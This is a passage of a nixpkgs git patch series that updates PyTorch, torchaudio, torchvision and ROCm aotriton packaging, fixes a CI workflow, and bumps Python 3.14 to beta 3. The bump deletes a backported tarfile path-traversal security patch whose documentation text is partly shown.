+    rev = "8d263e693366ef8db40acc569cc7d8edf644556d";
+    hash = "sha256-+4z5l0mJsw0SOW245GfZh41mdHGZ8u+xED7afm6pQjs=";
   };
   src_NNPACK = fetchFromGitHub {
     owner = "Maratyszcza";
@@ -386,10 +404,10 @@ assert version == "2.6.0";
     hash = "sha256-lV+VZi2b4SQlRYrhKx9Dxc6HlDEFz3newvcBjTekupo=";
   };
   src_pthreadpool = fetchFromGitHub {
-    owner = "google";
+    owner = "Maratyszcza";
     repo = "pthreadpool";
-    rev = "b92447772365661680f486e39a91dfe6675adafc";
-    hash = "sha256-lRY+5sYv/KOuVngsrODRa4/yj1CDmZBW2HuKEbjsY+0=";
+    rev = "4fe0e1e183925bf8cfa6aae24237e724a96479b8";
+    hash = "sha256-R4YmNzWEELSkAws/ejmNVxqXDTJwcqjLU/o/HvgRn2E=";
   };
   src_pybind11 = fetchFromGitHub {
     owner = "pybind";
@@ -412,14 +430,14 @@ assert version == "2.6.0";
   src_pytorch = fetchFromGitHub {
     owner = "pytorch";
     repo = "pytorch";
-    rev = "v2.6.0";
-    hash = "sha256-X58OPtnPplEFtzOrQzyYRwdTmaoWEOGWWF5v6y+vaWo=";
+    rev = "v2.7.0";
+    hash = "sha256-ReXyzy+OuYxEQwU+t2WL3+jqd7ItdW6w8MiS0f9t+aY=";
   };
   src_sleef = fetchFromGitHub {
     owner = "shibatch";
     repo = "sleef";
-    rev = "60e76d2bce17d278b439d9da17177c8f957a9e9b";
-    hash = "sha256-JfARLkdt4je8ll+oqPGJqzUCQbsXoJ0bbX3jf0aHd0o=";
+    rev = "56e1f79cb140fb9326d612d0be06b5250565cade";
+    hash = "sha256-5hha7c/Lu6fkbXGlDieoJP6n2bnjY5iPp+hm0f//0ek=";
   };
   src_tensorpipe = fetchFromGitHub {
     owner = "pytorch";
@@ -442,8 +460,8 @@ assert version == "2.6.0";
   src_XNNPACK = fetchFromGitHub {
     owner = "google";
     repo = "XNNPACK";
-    rev = "4ea82e595b36106653175dcb04b2aa532660d0d8";
-    hash = "sha256-5IubxhCW5E6xzrOLfJzWPrPeftaxXApTx09p6B3NPgo=";
+    rev = "51a0103656eff6fc9bfd39a4597923c4b542c883";
+    hash = "sha256-nhowllqv/hBs7xHdTwbWtiKJ1mvAYsVIyIZ35ZGsmkg=";
   };
   src_asmjit_recursive = src_asmjit;
   src_benchmark_recursive = src_benchmark;
@@ -452,6 +470,7 @@ assert version == "2.6.0";
   src_civetweb_recursive = src_civetweb;
   src_clang-cindex-python3_recursive = src_clang-cindex-python3;
   src_composable_kernel_recursive = src_composable_kernel;
+  src_composable_kernel_flash-attention_recursive = src_composable_kernel_flash-attention;
   src_cpp-httplib_recursive = src_cpp-httplib;
   src_cpr_recursive = src_cpr;
   src_cpuinfo_recursive = src_cpuinfo;
@@ -459,6 +478,7 @@ assert version == "2.6.0";
   src_cudnn-frontend_recursive = src_cudnn-frontend;
   src_cutlass_recursive = src_cutlass;
   src_cutlass_fbgemm_recursive = src_cutlass_fbgemm;
+  src_cutlass_flash-attention_recursive = src_cutlass_flash-attention;
   src_DCGM_recursive = src_DCGM;
   src_dynolog_recursive = runCommand "dynolog" { } ''
     cp -r ${src_dynolog} $out
@@ -494,6 +514,13 @@ assert version == "2.6.0";
     cp -r ${src_hipify_torch_recursive}/* $out/third_party/hipify_torch
   '';
   src_fbjni_recursive = src_fbjni;
+  src_flash-attention_recursive = runCommand "flash-attention" { } ''
+    cp -r ${src_flash-attention} $out
+    chmod u+w $out/csrc/composable_kernel
+    cp -r ${src_composable_kernel_flash-attention_recursive}/* $out/csrc/composable_kernel
+    chmod u+w $out/csrc/cutlass
+    cp -r ${src_cutlass_flash-attention_recursive}/* $out/csrc/cutlass
+  '';
   src_flatbuffers_recursive = src_flatbuffers;
   src_fmt_recursive = src_fmt;
   src_fmt_dynolog_recursive = src_fmt_dynolog;
@@ -537,11 +564,11 @@ assert version == "2.6.0";
     chmod u+w $out/libkineto/third_party/googletest
     cp -r ${src_googletest_kineto_recursive}/* $out/libkineto/third_party/googletest
   '';
+  src_kleidiai_recursive = src_kleidiai;
   src_libnop_recursive = src_libnop;
   src_libuv_recursive = src_libuv;
   src_mimalloc_recursive = src_mimalloc;
   src_mkl-dnn_recursive = src_mkl-dnn;
-  src_nccl_recursive = src_nccl;
   src_NNPACK_recursive = src_NNPACK;
   src_NVTX_recursive = src_NVTX;
   src_onnx_recursive = runCommand "onnx" { } ''
@@ -616,6 +643,8 @@ assert version == "2.6.0";
     cp -r ${src_eigen_recursive}/* $out/third_party/eigen
     chmod u+w $out/third_party/fbgemm
     cp -r ${src_fbgemm_recursive}/* $out/third_party/fbgemm
+    chmod u+w $out/third_party/flash-attention
+    cp -r ${src_flash-attention_recursive}/* $out/third_party/flash-attention
     chmod u+w $out/third_party/flatbuffers
     cp -r ${src_flatbuffers_recursive}/* $out/third_party/flatbuffers
     chmod u+w $out/third_party/fmt
@@ -636,10 +665,10 @@ assert version == "2.6.0";
     cp -r ${src_ittapi_recursive}/* $out/third_party/ittapi
     chmod u+w $out/third_party/kineto
     cp -r ${src_kineto_recursive}/* $out/third_party/kineto
+    chmod u+w $out/third_party/kleidiai
+    cp -r ${src_kleidiai_recursive}/* $out/third_party/kleidiai
     chmod u+w $out/third_party/mimalloc
     cp -r ${src_mimalloc_recursive}/* $out/third_party/mimalloc
-    chmod u+w $out/third_party/nccl/nccl
-    cp -r ${src_nccl_recursive}/* $out/third_party/nccl/nccl
     chmod u+w $out/third_party/nlohmann
     cp -r ${src_json_recursive}/* $out/third_party/nlohmann
     chmod u+w $out/third_party/NNPACK
diff --git a/pkgs/development/python-modules/torch/source/xnnpack-bfloat16.patch b/pkgs/development/python-modules/torch/source/xnnpack-bfloat16.patch
deleted file mode 100644
index 7788b7723c9d..000000000000
--- a/pkgs/development/python-modules/torch/source/xnnpack-bfloat16.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-diff --git a/third_party/XNNPACK/src/reference/unary-elementwise.cc b/third_party/XNNPACK/src/reference/unary-elementwise.cc
-index bd95ded6c..da892d8be 100644
---- a/third_party/XNNPACK/src/reference/unary-elementwise.cc
-+++ b/third_party/XNNPACK/src/reference/unary-elementwise.cc
-@@ -127,6 +127,16 @@ struct ConvertOp {
-   }
- };
- 
-+#ifdef XNN_HAVE_FLOAT16
-+template <>
-+struct ConvertOp<xnn_bfloat16, _Float16> {
-+  explicit ConvertOp(const xnn_unary_uparams*) {}
-+  _Float16 operator()(xnn_bfloat16 x) const {
-+    return static_cast<_Float16>(static_cast<float>(x));
-+  }
-+};
-+#endif
-+
- template <typename TIn, typename TOut>
- const xnn_unary_elementwise_config* get_convert_config(
-     std::true_type /*input_quantized*/, std::true_type /*output_quantized*/) {

From 44c99c4f6097589ffae01095d69046f92fc635c7 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Fri, 25 Apr 2025 14:24:01 +0200
Subject: [PATCH 1172/4511] python312Packages.torch: add GaetanLepage as
 maintainer

(cherry picked from commit 0f583edf99684fb504e7fd950a0f23869c312c56)
---
 pkgs/development/python-modules/torch/source/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/python-modules/torch/source/default.nix b/pkgs/development/python-modules/torch/source/default.nix
index 1eb197bdcdcc..3c9574ff87a4 100644
--- a/pkgs/development/python-modules/torch/source/default.nix
+++ b/pkgs/development/python-modules/torch/source/default.nix
@@ -732,6 +732,7 @@ buildPythonPackage rec {
     homepage = "https://pytorch.org/";
     license = lib.licenses.bsd3;
     maintainers = with lib.maintainers; [
+      GaetanLepage
       teh
       thoughtpolice
       tscholak

From 77c29fbf99309c9f9672e5698f951444293d7d47 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Sat, 26 Apr 2025 00:19:30 +0200
Subject: [PATCH 1173/4511] python312Packages.torchaudio: 2.6.0 -> 2.7.0

Co-authored-by: Pavol Rusnak <pavol@rusnak.io>

Diff:
https://github.com/pytorch/audio/compare/refs/tags/v2.6.0...refs/tags/v2.7.0

Changelog: https://github.com/pytorch/audio/releases/tag/v2.7.0
(cherry picked from commit 1e4afa82d1bc3750e6baec35c97e28f950131349)
---
 pkgs/development/python-modules/torchaudio/default.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/python-modules/torchaudio/default.nix b/pkgs/development/python-modules/torchaudio/default.nix
index cf815f685435..62e2a881e5e6 100644
--- a/pkgs/development/python-modules/torchaudio/default.nix
+++ b/pkgs/development/python-modules/torchaudio/default.nix
@@ -15,6 +15,7 @@
   pybind11,
   sox,
   torch,
+  llvmPackages,
 
   cudaSupport ? torch.cudaSupport,
   cudaPackages,
@@ -76,7 +77,7 @@ let
 in
 buildPythonPackage rec {
   pname = "torchaudio";
-  version = "2.6.0";
+  version = "2.7.0";
   pyproject = true;
 
   stdenv = torch.stdenv;
@@ -85,7 +86,7 @@ buildPythonPackage rec {
     owner = "pytorch";
     repo = "audio";
     tag = "v${version}";
-    hash = "sha256-WNdDBB2nShbPPW7GU5cMij00u5PUdN+j5pm41yrKnCA=";
+    hash = "sha256-/5XIVj0jLE7+A1LZxA3bFH3mdwNIcrV4XMOa4xznr/w=";
   };
 
   patches = [
@@ -133,7 +134,7 @@ buildPythonPackage rec {
     pybind11
     sox
     torch.cxxdev
-  ];
+  ] ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
 
   dependencies = [ torch ];
 

From 7d2e954be0e00fe03ef6d9dda627af7e1d4c5c84 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Sat, 26 Apr 2025 00:41:05 +0200
Subject: [PATCH 1174/4511] python312Packages.torchaudio: add GaetanLepage to
 maintainers

(cherry picked from commit b16d4aafb7334bbf2634b0aaaaf0d59976b89f8f)
---
 pkgs/development/python-modules/torchaudio/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/torchaudio/default.nix b/pkgs/development/python-modules/torchaudio/default.nix
index 62e2a881e5e6..b68d1e982e2a 100644
--- a/pkgs/development/python-modules/torchaudio/default.nix
+++ b/pkgs/development/python-modules/torchaudio/default.nix
@@ -162,6 +162,9 @@ buildPythonPackage rec {
     platforms =
       lib.platforms.linux
       ++ lib.optionals (!cudaSupport && !rocmSupport) lib.platforms.darwin;
-    maintainers = with lib.maintainers; [ junjihashimoto ];
+    maintainers = with lib.maintainers; [
+      GaetanLepage
+      junjihashimoto
+    ];
   };
 }

From 7a89da994a8c14c3e4b1bfe554471263a847403f Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Sat, 26 Apr 2025 00:38:12 +0200
Subject: [PATCH 1175/4511] python312Packages.torchvision: 0.21.0 -> 0.22.0

Diff:
https://github.com/pytorch/vision/compare/refs/tags/v0.21.0...refs/tags/v0.22.0

Changelog: https://github.com/pytorch/vision/releases/tag/v0.22.0
(cherry picked from commit 6b2e25201ddc2d9105e0a1cc409708c7139b8acc)
---
 .../python-modules/torchvision/default.nix    | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/development/python-modules/torchvision/default.nix b/pkgs/development/python-modules/torchvision/default.nix
index c7af5d89b760..6c2dc697492c 100644
--- a/pkgs/development/python-modules/torchvision/default.nix
+++ b/pkgs/development/python-modules/torchvision/default.nix
@@ -29,7 +29,7 @@ let
   inherit (torch) cudaCapabilities cudaPackages cudaSupport;
 
   pname = "torchvision";
-  version = "0.21.0";
+  version = "0.22.0";
 in
 buildPythonPackage {
   inherit pname version;
@@ -40,7 +40,7 @@ buildPythonPackage {
     owner = "pytorch";
     repo = "vision";
     tag = "v${version}";
-    hash = "sha256-eDWw1Lt/sUc2Xt6cqOM5xaOfmsm+NEL5lZO+cIJKMtU=";
+    hash = "sha256-+70Rhfma4dM5tRlYNz0cuuTIxRbYf6dsnAhvkw7a5kM=";
   };
 
   nativeBuildInputs = [
@@ -71,15 +71,15 @@ buildPythonPackage {
     scipy
   ];
 
-  preConfigure =
-    ''
-      export TORCHVISION_INCLUDE="${libjpeg_turbo.dev}/include/"
-      export TORCHVISION_LIBRARY="${libjpeg_turbo}/lib/"
-    ''
-    + lib.optionalString cudaSupport ''
-      export TORCH_CUDA_ARCH_LIST="${lib.concatStringsSep ";" cudaCapabilities}"
-      export FORCE_CUDA=1
-    '';
+  env =
+    {
+      TORCHVISION_INCLUDE = "${libjpeg_turbo.dev}/include/";
+      TORCHVISION_LIBRARY = "${libjpeg_turbo}/lib/";
+    }
+    // lib.optionalAttrs cudaSupport {
+      TORCH_CUDA_ARCH_LIST = "${lib.concatStringsSep ";" cudaCapabilities}";
+      FORCE_CUDA = 1;
+    };
 
   # tests download big datasets, models, require internet connection, etc.
   doCheck = false;

From 2f78ce16dc3537151f86b2de2e0c083e0c4dacdd Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Sat, 26 Apr 2025 00:40:09 +0200
Subject: [PATCH 1176/4511] python312Packages.torchvision: add GaetanLepage to
 maintainers

(cherry picked from commit 10fff5d50168faf84bd8641357521120d4a65c16)
---
 pkgs/development/python-modules/torchvision/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/torchvision/default.nix b/pkgs/development/python-modules/torchvision/default.nix
index 6c2dc697492c..bfb3f8bbd28d 100644
--- a/pkgs/development/python-modules/torchvision/default.nix
+++ b/pkgs/development/python-modules/torchvision/default.nix
@@ -101,6 +101,6 @@ buildPythonPackage {
     changelog = "https://github.com/pytorch/vision/releases/tag/v${version}";
     license = lib.licenses.bsd3;
     platforms = with lib.platforms; linux ++ lib.optionals (!cudaSupport) darwin;
-    maintainers = with lib.maintainers; [ ];
+    maintainers = with lib.maintainers; [ GaetanLepage ];
   };
 }

From 11e654bd22e6cbfad219f4a1dbe42a8403c69760 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Tue, 6 May 2025 21:59:00 +0200
Subject: [PATCH 1177/4511] python312Packages.torch: mark ROCm support as
 broken

(cherry picked from commit 2e85a80f80965229dc4dfe84c27a72d1fa2e2b33)
---
 pkgs/development/python-modules/torch/source/default.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/development/python-modules/torch/source/default.nix b/pkgs/development/python-modules/torch/source/default.nix
index 3c9574ff87a4..59c5eef62d5c 100644
--- a/pkgs/development/python-modules/torch/source/default.nix
+++ b/pkgs/development/python-modules/torch/source/default.nix
@@ -241,6 +241,10 @@ let
     "Magma cudaPackages does not match cudaPackages" =
       cudaSupport
       && (effectiveMagma.cudaPackages.cudaMajorMinorVersion != cudaPackages.cudaMajorMinorVersion);
+    # ... fatal error: 'ck/config.h' file not found
+    # 6 | #include "ck/config.h"
+    #   |          ^~~~~~~~~~~~~
+    "ROCm is failing to compile" = rocmSupport;
   };
 
   unroll-src = writeShellScript "unroll-src" ''

From fc504e8f8423fb0cf2327f0f696cc5c9400a3a57 Mon Sep 17 00:00:00 2001
From: Luna Nova <git@lunnova.dev>
Date: Mon, 12 May 2025 22:06:50 -0700
Subject: [PATCH 1178/4511] rocmPackages.aotriton: 0.8.2b -> 0.9.2b

(cherry picked from commit 9810b7ac3ac9daad973632cbfc0c7f13f0e95cdf)
---
 pkgs/development/rocm-modules/6/aotriton/default.nix | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/rocm-modules/6/aotriton/default.nix b/pkgs/development/rocm-modules/6/aotriton/default.nix
index b6b543084e77..a7e58f2952c0 100644
--- a/pkgs/development/rocm-modules/6/aotriton/default.nix
+++ b/pkgs/development/rocm-modules/6/aotriton/default.nix
@@ -57,17 +57,18 @@ stdenv.mkDerivation (
     gpuTargets' = lib.concatStringsSep ";" gpuTargets;
     compiler = "amdclang++";
     cFlags = "-O3 -DNDEBUG";
+    cxxFlags = "${cFlags} -Wno-c++11-narrowing";
     triton-llvm' = triton-llvm;
   in
   {
     pname = "aotriton";
-    version = "0.8.2b";
+    version = "0.9.2b";
 
     src = fetchFromGitHub {
       owner = "ROCm";
       repo = "aotriton";
       rev = "${finalAttrs.version}";
-      hash = "sha256-gSzGYWfyUNLyzqpu3BM8rjFFL7cRVZ+w9L5pnh9QGz4=";
+      hash = "sha256-1Cf0olD3zRg9JESD6s/WaGifm3kfD12VUvjTZHpmGAE=";
       fetchSubmodules = true;
     };
     env.CXX = compiler;
@@ -152,10 +153,13 @@ stdenv.mkDerivation (
       substituteInPlace third_party/triton/python/setup.py \
         --replace-fail "from distutils.command.clean import clean" "import setuptools;from distutils.command.clean import clean" \
         --replace-fail 'system == "Linux"' 'False'
+      # Fix 'ld: error: unable to insert .comment after .comment'
+      substituteInPlace v2python/ld_script.py \
+        --replace-fail 'INSERT AFTER .comment;' ""
 
       cmakeFlagsArray+=(
         '-DCMAKE_C_FLAGS_RELEASE=${cFlags}'
-        '-DCMAKE_CXX_FLAGS_RELEASE=${cFlags}'
+        '-DCMAKE_CXX_FLAGS_RELEASE=${cxxFlags}'
       )
       prependToVar cmakeFlags "-GNinja"
       mkdir -p /build/tmp-home

From 55c348bc278f178b0e63201244db15496fc66cd0 Mon Sep 17 00:00:00 2001
From: Luna Nova <git@lunnova.dev>
Date: Mon, 12 May 2025 22:07:38 -0700
Subject: [PATCH 1179/4511] python312Packages.torch: fix ROCm build

(cherry picked from commit 0917e5dc3ad3dea3a89578c546beb974b00304a1)
---
 .../python-modules/torch/source/default.nix       | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/python-modules/torch/source/default.nix b/pkgs/development/python-modules/torch/source/default.nix
index 59c5eef62d5c..560ad2886d4a 100644
--- a/pkgs/development/python-modules/torch/source/default.nix
+++ b/pkgs/development/python-modules/torch/source/default.nix
@@ -180,7 +180,13 @@ let
     else if cudaSupport then
       gpuArchWarner supportedCudaCapabilities unsupportedCudaCapabilities
     else if rocmSupport then
-      rocmPackages.clr.gpuTargets
+      # Remove RDNA1 gfx101x archs from default ROCm support list to avoid
+      # use of undeclared identifier 'CK_BUFFER_RESOURCE_3RD_DWORD'
+      # TODO: Retest after ROCm 6.4 or torch 2.8
+      lib.lists.subtractLists [
+        "gfx1010"
+        "gfx1012"
+      ] (rocmPackages.clr.localGpuTargets or rocmPackages.clr.gpuTargets)
     else
       throw "No GPU targets specified"
   );
@@ -194,6 +200,7 @@ let
       rccl
       miopen
       aotriton
+      composable_kernel
       rocrand
       rocblas
       rocsparse
@@ -241,10 +248,6 @@ let
     "Magma cudaPackages does not match cudaPackages" =
       cudaSupport
       && (effectiveMagma.cudaPackages.cudaMajorMinorVersion != cudaPackages.cudaMajorMinorVersion);
-    # ... fatal error: 'ck/config.h' file not found
-    # 6 | #include "ck/config.h"
-    #   |          ^~~~~~~~~~~~~
-    "ROCm is failing to compile" = rocmSupport;
   };
 
   unroll-src = writeShellScript "unroll-src" ''
@@ -670,7 +673,7 @@ buildPythonPackage rec {
         --replace-fail "\''${_IMPORT_PREFIX}/lib64" "$lib/lib"
 
       substituteInPlace $dev/share/cmake/ATen/ATenConfig.cmake \
-        --replace-fail "/build/source/torch/include" "$dev/include"
+        --replace-fail "/build/${src.name}/torch/include" "$dev/include"
     '';
 
   postFixup =

From e3f742f97c6c4299c39400bedaa634cb09d77b16 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Tue, 17 Jun 2025 21:04:44 +0100
Subject: [PATCH 1180/4511] workflows/labels: handle null reviewer

Review user can be null when the user has deleted their account since
posting the review.

Fixes #417627

(cherry picked from commit 2116e927dae5cfb208666ffbd2daf706d7857c3d)
---
 .github/workflows/labels.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 2ae77cf01421..6f31c58e951e 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -201,7 +201,7 @@ jobs:
                       pull_number: pull_request.number
                     }))
                     .filter(review => review.state == 'APPROVED')
-                    .map(review => review.user.id)
+                    .map(review => review.user?.id)
                   )
 
                   const maintainers = new Set(Object.keys(

From 00fd9abf444fc15354e8bf11cdf750010fa8f45e Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 17 Jun 2025 23:41:21 +0200
Subject: [PATCH 1181/4511] python314: 3.14.0b2 -> 3.14.0b3

https://docs.python.org/3.14/whatsnew/changelog.html#python-3-14-0-beta-3
(cherry picked from commit 79558756d17248732de92f02db4665b6d3819384)
---
 .../python/cpython/3.14/CVE-2025-4517.patch   | 2055 -----------------
 .../interpreters/python/cpython/default.nix   |    3 -
 .../interpreters/python/default.nix           |    4 +-
 3 files changed, 2 insertions(+), 2060 deletions(-)
 delete mode 100644 pkgs/development/interpreters/python/cpython/3.14/CVE-2025-4517.patch

diff --git a/pkgs/development/interpreters/python/cpython/3.14/CVE-2025-4517.patch b/pkgs/development/interpreters/python/cpython/3.14/CVE-2025-4517.patch
deleted file mode 100644
index 5ad45fdde9fa..000000000000
--- a/pkgs/development/interpreters/python/cpython/3.14/CVE-2025-4517.patch
+++ /dev/null
@@ -1,2055 +0,0 @@
-From 9e0ac76d96cf80b49055f6d6b9a6763fb9215c2a Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?=C5=81ukasz=20Langa?= <lukasz@langa.pl>
-Date: Tue, 3 Jun 2025 14:05:00 +0200
-Subject: [PATCH] [3.14] gh-135034: Normalize link targets in tarfile, add
- `os.path.realpath(strict='allow_missing')` (gh-135037) (gh-135065)
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Addresses CVEs 2024-12718, 2025-4138, 2025-4330, and 2025-4517.
-
-(cherry picked from commit 3612d8f51741b11f36f8fb0494d79086bac9390a)
-
-Signed-off-by: Łukasz Langa <lukasz@langa.pl>
-Co-authored-by: Petr Viktorin <encukou@gmail.com>
-Co-authored-by: Seth Michael Larson <seth@python.org>
-Co-authored-by: Adam Turner <9087854+AA-Turner@users.noreply.github.com>
-Co-authored-by: Serhiy Storchaka <storchaka@gmail.com>
----
- Doc/library/os.path.rst                       |  32 +-
- Doc/library/tarfile.rst                       |  20 ++
- Doc/whatsnew/3.14.rst                         |  32 ++
- Lib/genericpath.py                            |  11 +-
- Lib/ntpath.py                                 |  38 ++-
- Lib/posixpath.py                              |  57 ++--
- Lib/tarfile.py                                | 163 +++++++--
- Lib/test/test_ntpath.py                       | 216 ++++++++++--
- Lib/test/test_posixpath.py                    | 252 +++++++++++---
- Lib/test/test_tarfile.py                      | 310 +++++++++++++++++-
- ...-06-02-11-32-23.gh-issue-135034.RLGjbp.rst |   6 +
- 11 files changed, 967 insertions(+), 170 deletions(-)
- create mode 100644 Misc/NEWS.d/next/Security/2025-06-02-11-32-23.gh-issue-135034.RLGjbp.rst
-
-diff --git a/Doc/library/os.path.rst b/Doc/library/os.path.rst
-index ecbbc1d7605f9f..f72aee19d8f332 100644
---- a/Doc/library/os.path.rst
-+++ b/Doc/library/os.path.rst
-@@ -408,9 +408,26 @@ the :mod:`glob` module.)
-    system). On Windows, this function will also resolve MS-DOS (also called 8.3)
-    style names such as ``C:\\PROGRA~1`` to ``C:\\Program Files``.
- 
--   If a path doesn't exist or a symlink loop is encountered, and *strict* is
--   ``True``, :exc:`OSError` is raised. If *strict* is ``False`` these errors
--   are ignored, and so the result might be missing or otherwise inaccessible.
-+   By default, the path is evaluated up to the first component that does not
-+   exist, is a symlink loop, or whose evaluation raises :exc:`OSError`.
-+   All such components are appended unchanged to the existing part of the path.
-+
-+   Some errors that are handled this way include "access denied", "not a
-+   directory", or "bad argument to internal function". Thus, the
-+   resulting path may be missing or inaccessible, may still contain
-+   links or loops, and may traverse non-directories.
-+
-+   This behavior can be modified by keyword arguments:
-+
-+   If *strict* is ``True``, the first error encountered when evaluating the path is
-+   re-raised.
-+   In particular, :exc:`FileNotFoundError` is raised if *path* does not exist,
-+   or another :exc:`OSError` if it is otherwise inaccessible.
-+
-+   If *strict* is :py:data:`os.path.ALLOW_MISSING`, errors other than
-+   :exc:`FileNotFoundError` are re-raised (as with ``strict=True``).
-+   Thus, the returned path will not contain any symbolic links, but the named
-+   file and some of its parent directories may be missing.
- 
-    .. note::
-       This function emulates the operating system's procedure for making a path
-@@ -429,6 +446,15 @@ the :mod:`glob` module.)
-    .. versionchanged:: 3.10
-       The *strict* parameter was added.
- 
-+   .. versionchanged:: next
-+      The :py:data:`~os.path.ALLOW_MISSING` value for the *strict* parameter
-+      was added.
-+
-+.. data:: ALLOW_MISSING
-+
-+   Special value used for the *strict* argument in :func:`realpath`.
-+
-+   .. versionadded:: next
- 
- .. function:: relpath(path, start=os.curdir)
- 
-diff --git a/Doc/library/tarfile.rst b/Doc/library/tarfile.rst
-index f9cb5495e60cd2..7cec108a5bd41d 100644
---- a/Doc/library/tarfile.rst
-+++ b/Doc/library/tarfile.rst
-@@ -255,6 +255,15 @@ The :mod:`tarfile` module defines the following exceptions:
-    Raised to refuse extracting a symbolic link pointing outside the destination
-    directory.
- 
-+.. exception:: LinkFallbackError
-+
-+   Raised to refuse emulating a link (hard or symbolic) by extracting another
-+   archive member, when that member would be rejected by the filter location.
-+   The exception that was raised to reject the replacement member is available
-+   as :attr:`!BaseException.__context__`.
-+
-+   .. versionadded:: next
-+
- 
- The following constants are available at the module level:
- 
-@@ -1068,6 +1077,12 @@ reused in custom filters:
-   Implements the ``'data'`` filter.
-   In addition to what ``tar_filter`` does:
- 
-+  - Normalize link targets (:attr:`TarInfo.linkname`) using
-+    :func:`os.path.normpath`.
-+    Note that this removes internal ``..`` components, which may change the
-+    meaning of the link if the path in :attr:`!TarInfo.linkname` traverses
-+    symbolic links.
-+
-   - :ref:`Refuse <tarfile-extraction-refuse>` to extract links (hard or soft)
-     that link to absolute paths, or ones that link outside the destination.
- 
-@@ -1099,6 +1114,10 @@ reused in custom filters:
-   Note that this filter does not block *all* dangerous archive features.
-   See :ref:`tarfile-further-verification`  for details.
- 
-+  .. versionchanged:: next
-+
-+     Link targets are now normalized.
-+
- 
- .. _tarfile-extraction-refuse:
- 
-@@ -1127,6 +1146,7 @@ Here is an incomplete list of things to consider:
- * Extract to a :func:`new temporary directory <tempfile.mkdtemp>`
-   to prevent e.g. exploiting pre-existing links, and to make it easier to
-   clean up after a failed extraction.
-+* Disallow symbolic links if you do not need the functionality.
- * When working with untrusted data, use external (e.g. OS-level) limits on
-   disk, memory and CPU usage.
- * Check filenames against an allow-list of characters
-diff --git a/Doc/whatsnew/3.14.rst b/Doc/whatsnew/3.14.rst
-index 561d1a8914b50c..1e6a3615963ff4 100644
---- a/Doc/whatsnew/3.14.rst
-+++ b/Doc/whatsnew/3.14.rst
-@@ -1608,6 +1608,16 @@ os
-   (Contributed by Cody Maloney in :gh:`129205`.)
- 
- 
-+os.path
-+-------
-+
-+* The *strict* parameter to :func:`os.path.realpath` accepts a new value,
-+  :data:`os.path.ALLOW_MISSING`.
-+  If used, errors other than :exc:`FileNotFoundError` will be re-raised;
-+  the resulting path can be missing but it will be free of symlinks.
-+  (Contributed by Petr Viktorin for :cve:`2025-4517`.)
-+
-+
- pathlib
- -------
- 
-@@ -1796,6 +1806,28 @@ sysconfig
-   (Contributed by Xuehai Pan in :gh:`131799`.)
- 
- 
-+tarfile
-+-------
-+
-+* :func:`~tarfile.data_filter` now normalizes symbolic link targets in order to
-+  avoid path traversal attacks.
-+  (Contributed by Petr Viktorin in :gh:`127987` and :cve:`2025-4138`.)
-+* :func:`~tarfile.TarFile.extractall` now skips fixing up directory attributes
-+  when a directory was removed or replaced by another kind of file.
-+  (Contributed by Petr Viktorin in :gh:`127987` and :cve:`2024-12718`.)
-+* :func:`~tarfile.TarFile.extract` and :func:`~tarfile.TarFile.extractall`
-+  now (re-)apply the extraction filter when substituting a link (hard or
-+  symbolic) with a copy of another archive member, and when fixing up
-+  directory attributes.
-+  The former raises a new exception, :exc:`~tarfile.LinkFallbackError`.
-+  (Contributed by Petr Viktorin for :cve:`2025-4330` and :cve:`2024-12718`.)
-+* :func:`~tarfile.TarFile.extract` and :func:`~tarfile.TarFile.extractall`
-+  no longer extract rejected members when
-+  :func:`~tarfile.TarFile.errorlevel` is zero.
-+  (Contributed by Matt Prodani and Petr Viktorin in :gh:`112887`
-+  and :cve:`2025-4435`.)
-+
-+
- threading
- ---------
- 
-diff --git a/Lib/genericpath.py b/Lib/genericpath.py
-index ba7b0a13c7f81d..9363f564aab7a6 100644
---- a/Lib/genericpath.py
-+++ b/Lib/genericpath.py
-@@ -8,7 +8,7 @@
- 
- __all__ = ['commonprefix', 'exists', 'getatime', 'getctime', 'getmtime',
-            'getsize', 'isdevdrive', 'isdir', 'isfile', 'isjunction', 'islink',
--           'lexists', 'samefile', 'sameopenfile', 'samestat']
-+           'lexists', 'samefile', 'sameopenfile', 'samestat', 'ALLOW_MISSING']
- 
- 
- # Does a path exist?
-@@ -189,3 +189,12 @@ def _check_arg_types(funcname, *args):
-                             f'os.PathLike object, not {s.__class__.__name__!r}') from None
-     if hasstr and hasbytes:
-         raise TypeError("Can't mix strings and bytes in path components") from None
-+
-+# A singleton with a true boolean value.
-+@object.__new__
-+class ALLOW_MISSING:
-+    """Special value for use in realpath()."""
-+    def __repr__(self):
-+        return 'os.path.ALLOW_MISSING'
-+    def __reduce__(self):
-+        return self.__class__.__name__
-diff --git a/Lib/ntpath.py b/Lib/ntpath.py
